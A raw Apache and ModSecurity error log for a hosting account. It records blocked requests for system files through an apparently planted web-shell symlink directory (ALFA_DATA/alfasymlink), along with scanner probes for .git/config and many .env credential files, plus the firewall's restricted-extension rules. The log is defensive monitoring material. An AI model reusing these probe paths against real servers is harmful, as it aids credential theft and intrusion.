[Sun Oct 25 17:59:42.838522 2026] [security2:error] [pid 2908033:tid 2908033] [client 105.172.142.128:49326] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/systemd/system/named.service.d/cpanel.conf"] [unique_id "at57zl31HWF0TpUcFcm0EQAAAAQ"]
[Sun Oct 25 17:59:45.395699 2026] [security2:error] [pid 2905737:tid 2905737] [client 209.35.84.147:52502] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/systemd/system/named.service.d/cpanel.conf"] [unique_id "at570SyjhNt8noxK2JA9fgAAABA"]
[Sun Oct 25 17:59:45.396362 2026] [security2:error] [pid 2905737:tid 2905737] [client 209.35.84.147:52502] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/systemd/system/named.service.d/cpanel.conf"] [unique_id "at570SyjhNt8noxK2JA9fgAAABA"]
[Sun Oct 25 17:59:45.396716 2026] [security2:error] [pid 2905737:tid 2905737] [client 209.35.84.147:52502] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/systemd/system/named.service.d/cpanel.conf"] [unique_id "at570SyjhNt8noxK2JA9fgAAABA"]
[Sun Oct 25 17:59:48.809903 2026] [security2:error] [pid 2906289:tid 2906289] [client 190.110.179.127:21308] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/systemd/system/named.service.d/cpanel.conf"] [unique_id "at571PXLbWy0r6_iwH_ndwAAAAY"]
[Sun Oct 25 17:59:48.810419 2026] [security2:error] [pid 2906289:tid 2906289] [client 190.110.179.127:21308] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/systemd/system/named.service.d/cpanel.conf"] [unique_id "at571PXLbWy0r6_iwH_ndwAAAAY"]
[Sun Oct 25 17:59:48.810815 2026] [security2:error] [pid 2906289:tid 2906289] [client 190.110.179.127:21308] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/systemd/system/named.service.d/cpanel.conf"] [unique_id "at571PXLbWy0r6_iwH_ndwAAAAY"]
[Sun Oct 25 17:59:50.499273 2026] [security2:error] [pid 2899542:tid 2899542] [client 107.172.76.131:65102] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at57yNKQ9ANbYqzP3Ruh8wAAAAk"], referer: https://clic2.sherwinpinturas.com//beta.php
[Sun Oct 25 17:59:50.499325 2026] [security2:error] [pid 2899542:tid 2899542] [client 107.172.76.131:65102] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at57yNKQ9ANbYqzP3Ruh8wAAAAk"], referer: https://clic2.sherwinpinturas.com//beta.php
[Sun Oct 25 17:59:51.572427 2026] [core:error] [pid 2908851:tid 2908851] (13)Permission denied: [client 85.208.96.212:12042] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tw_sock_TCP/min_partial
[Sun Oct 25 18:00:06.342156 2026] [ssl:error] [pid 2909420:tid 2909420] (70014)End of file found: [client 18.215.112.101:54740] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:00:09.491016 2026] [core:error] [pid 2897962:tid 2897962] (13)Permission denied: [client 46.185.190.1:45788] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/objects_partial
[Sun Oct 25 18:00:10.205702 2026] [ssl:error] [pid 2908851:tid 2908851] (70014)End of file found: [client 54.145.82.217:45977] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:00:20.229216 2026] [core:error] [pid 2906289:tid 2906289] (13)Permission denied: [client 186.57.96.36:44765] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/objects_partial
[Sun Oct 25 18:00:22.207197 2026] [core:error] [pid 2905737:tid 2905737] (13)Permission denied: [client 98.83.10.183:13521] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/kernel/slab/taskstats/shrink
[Sun Oct 25 18:00:22.792496 2026] [core:error] [pid 2905723:tid 2905723] (13)Permission denied: [client 80.194.143.89:40027] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/objects_partial
[Sun Oct 25 18:00:42.242655 2026] [ssl:error] [pid 2899920:tid 2899920] (70014)End of file found: [client 3.213.46.222:39208] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:00:42.950705 2026] [ssl:error] [pid 2897962:tid 2897962] (70014)End of file found: [client 47.141.204.125:44455] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:00:46.324797 2026] [ssl:error] [pid 2909420:tid 2909420] (70014)End of file found: [client 35.169.102.85:50011] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:00:49.712698 2026] [ssl:error] [pid 2905723:tid 2905723] (70014)End of file found: [client 179.64.117.203:45031] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:00:50.247136 2026] [ssl:error] [pid 2904909:tid 2904909] (70014)End of file found: [client 98.82.107.102:10302] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:00:57.036415 2026] [ssl:error] [pid 2904909:tid 2904909] (70014)End of file found: [client 41.214.49.72:2935] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:01:03.926842 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at58HxFm2vH00tQABbbunwAAAAg"]
[Sun Oct 25 18:01:03.927151 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at58HxFm2vH00tQABbbunwAAAAg"]
[Sun Oct 25 18:01:03.927453 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at58HxFm2vH00tQABbbunwAAAAg"]
[Sun Oct 25 18:01:04.177654 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at58IBFm2vH00tQABbbuoQAAAAg"]
[Sun Oct 25 18:01:04.177932 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at58IBFm2vH00tQABbbuoQAAAAg"]
[Sun Oct 25 18:01:04.178188 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at58IBFm2vH00tQABbbuoQAAAAg"]
[Sun Oct 25 18:01:04.302463 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at58IBFm2vH00tQABbbuogAAAAg"]
[Sun Oct 25 18:01:04.302727 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at58IBFm2vH00tQABbbuogAAAAg"]
[Sun Oct 25 18:01:04.303086 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at58IBFm2vH00tQABbbuogAAAAg"]
[Sun Oct 25 18:01:04.427564 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at58IBFm2vH00tQABbbuowAAAAg"]
[Sun Oct 25 18:01:04.427877 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at58IBFm2vH00tQABbbuowAAAAg"]
[Sun Oct 25 18:01:04.428210 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at58IBFm2vH00tQABbbuowAAAAg"]
[Sun Oct 25 18:01:04.552071 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at58IBFm2vH00tQABbbupAAAAAg"]
[Sun Oct 25 18:01:04.552315 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at58IBFm2vH00tQABbbupAAAAAg"]
[Sun Oct 25 18:01:04.552628 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at58IBFm2vH00tQABbbupAAAAAg"]
[Sun Oct 25 18:01:04.676629 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at58IBFm2vH00tQABbbupQAAAAg"]
[Sun Oct 25 18:01:04.676881 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at58IBFm2vH00tQABbbupQAAAAg"]
[Sun Oct 25 18:01:04.677173 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at58IBFm2vH00tQABbbupQAAAAg"]
[Sun Oct 25 18:01:04.801023 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at58IBFm2vH00tQABbbupgAAAAg"]
[Sun Oct 25 18:01:04.801252 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at58IBFm2vH00tQABbbupgAAAAg"]
[Sun Oct 25 18:01:04.801593 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at58IBFm2vH00tQABbbupgAAAAg"]
[Sun Oct 25 18:01:04.801655 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at58IBFm2vH00tQABbbupgAAAAg"]
[Sun Oct 25 18:01:04.801685 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at58IBFm2vH00tQABbbupgAAAAg"]
[Sun Oct 25 18:01:04.925570 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.remote"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at58IBFm2vH00tQABbbupwAAAAg"]
[Sun Oct 25 18:01:04.925808 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at58IBFm2vH00tQABbbupwAAAAg"]
[Sun Oct 25 18:01:04.926137 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at58IBFm2vH00tQABbbupwAAAAg"]
[Sun Oct 25 18:01:05.050142 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at58IRFm2vH00tQABbbuqAAAAAg"]
